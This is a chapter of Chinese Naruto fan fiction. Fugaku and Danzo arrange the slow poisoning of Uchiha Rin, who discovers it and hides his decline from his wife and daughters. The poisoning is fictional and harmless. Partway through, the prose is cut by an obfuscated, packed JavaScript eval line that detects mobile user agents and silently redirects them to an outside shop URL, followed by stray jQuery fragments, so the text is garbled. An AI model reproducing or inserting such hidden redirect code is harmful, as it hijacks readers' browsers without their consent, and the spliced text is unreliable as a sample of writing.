(接上一章)
富岳独自静坐了片刻,方才温和的面容彻底沉了下来,指尖用力捏紧冰凉的茶盏,瓷壁几乎要被他攥出裂痕。凛在族中深耕多年,资历、实力、声望样样拔尖,即便常年避世,依旧有不少老一辈族人暗中偏向对方,这始终是他执掌全族的心腹大患。如今借团藏之手拔除这根刺,既能不动声色稳固权位,又不必让宇智波背负“同族相残”的骂名,于他而言,是最稳妥的选择。
他起身整了整制服,眸底掠过一丝复杂。论私交,二人毕竟是亲兄弟,年少时也曾一同修炼、并肩出过任务,情谊深厚。可权力场从容不得半分温情,为了宇智波的“未来”,也为了自己坐稳族长之位,这份旧谊不断撕扯着他,方才承诺过不牵连妇孺,他便打定主意,事后会暗中派人照拂一二,也算给凛留最后一点体面。
走出茶寮,夕阳将他的身影拉得颀长。富岳抬手召来心腹暗部族人,低声下达指令:“从今日起,收缩外围值守,切断凛一脉能调动的族内情报线与支援渠道。他若向族中求助、申请调配人手或是借用物资,一律以‘族内事务繁忙、人手紧缺’为由推诿。另外,安排可靠的眼线,盯紧他的行踪,不必惊扰,只需及时传信给我即可。切记,约束手下,不准靠近他的宅邸,不准触碰他的妻女。”
心腹领命躬身退去,很快隐入林间阴影。
另一边,团藏走出茶寮后,径直走向通往根部据点的暗道。绷带缠绕的半边脸在暮色里显得愈发诡异,独眼中满是势在必得的贪婪。万花筒写轮眼,那是他觊觎许久的至宝,凛的固执与清高,在绝对的力量与权术面前,终究不堪一击。
回到阴暗的根部密室,他唤来数名擅长用毒与禁制的直属暗部,将从富岳处敲定的计划全盘道出。“目标宇智波凛,动用那种缓性蚀脉毒,分批次、不着痕迹地投放。混入他日常饮用的清水、熏香,或是外出途经的林间风雾之中,务求无声无息。”
一名暗部躬身请示:“大人,若凛察觉到查克拉异常,试图运功逼毒该如何处置?”
“不必阻拦。”团藏沙哑地轻笑,语气残忍又笃定,“此毒专克宇智波火属性查克拉,越是催动力量抵抗,经脉受损便越快,查克拉流失也越严重。任由他挣扎便是。另外,避开他的宅邸,只在他外出执行事务、往返族地的途中动手,绝不能波及他的家人,免得节外生枝,惹得富岳反悔。”
一众暗部齐齐应声,领命而去。
阴毒的罗网,自此正式全面铺开。
起初几日,一切都看似风平浪静。
族地之内,凛依旧如常晨起练刀、教导家中事务,偶尔外出处理一些无法推脱的宗族琐事。外人看来,这位老牌强者身形依旧挺拔,刀法凌厉不减往昔,唯有他自己,最先捕捉到了身体里不对劲的变化。
先是运转查克拉时,经脉深处会泛起隐隐的麻痒与滞涩,往日奔流自如的火属性查克拉,时常出现短暂的断流;而后便是莫名的疲惫,明明没有高强度修炼与厮杀,整日也会四肢发沉,夜半入睡时,胸腔总会泛起一阵空洞的乏力感。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816607|211067||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他第一时间运转瞳力自查,猩红的写轮眼扫过周身经脉,很快便捕捉到了一丝极其细微、游走在肌理之间的异种毒素。无色无味,阴柔绵长,不似战场上一击毙命的猛毒,反倒像附骨之疽,一点点蚕食根基。
凛心底瞬间了然。
团藏的威胁、富岳的沉默、族内突然变得敷衍的支援、外出途中屡屡偶遇的诡异气流……所有线索串联在一起,那两场交锋与密谈的结果,已然昭然若揭。
对方没有选择正面决战,而是用了最卑劣、也最磨人的法子。
他伫立在樱花树下,望着远处自家院落的方向,隐约能听见院内传来容玉清脆的笑声,还有容音沉稳叮嘱事务的声音。暖意掠过心头,压下了翻涌的怒意与悲凉。
他试过运功逼毒,可正如幕后之人算计的那般,火遁查克拉催动得越猛,毒素蔓延得就越快,经脉的损伤也愈发严重。几次尝试之后,凛便主动停下了抵抗。
他清楚,如今族内支援断绝,木叶高层虎视眈眈,一旦他强行逼毒引发动静,只会引来更密集的围剿。眼下能做的,唯有装作毫无察觉,拖着日渐衰败的身躯,抓紧最后余下的光阴。
于是他一次次故作寻常地叮嘱妻子澪,又郑重地将全家托付给长女容音。
他刻意掩藏身体日渐衰败的真相,把所有的痛苦、绝望与不甘,独自吞咽。每日依旧按时练刀,只是挥刀的力道,在无人看见的角落,一点点变弱;眼底的神采,也被毒素日复一日地消磨,蒙上了越来越重的暮色。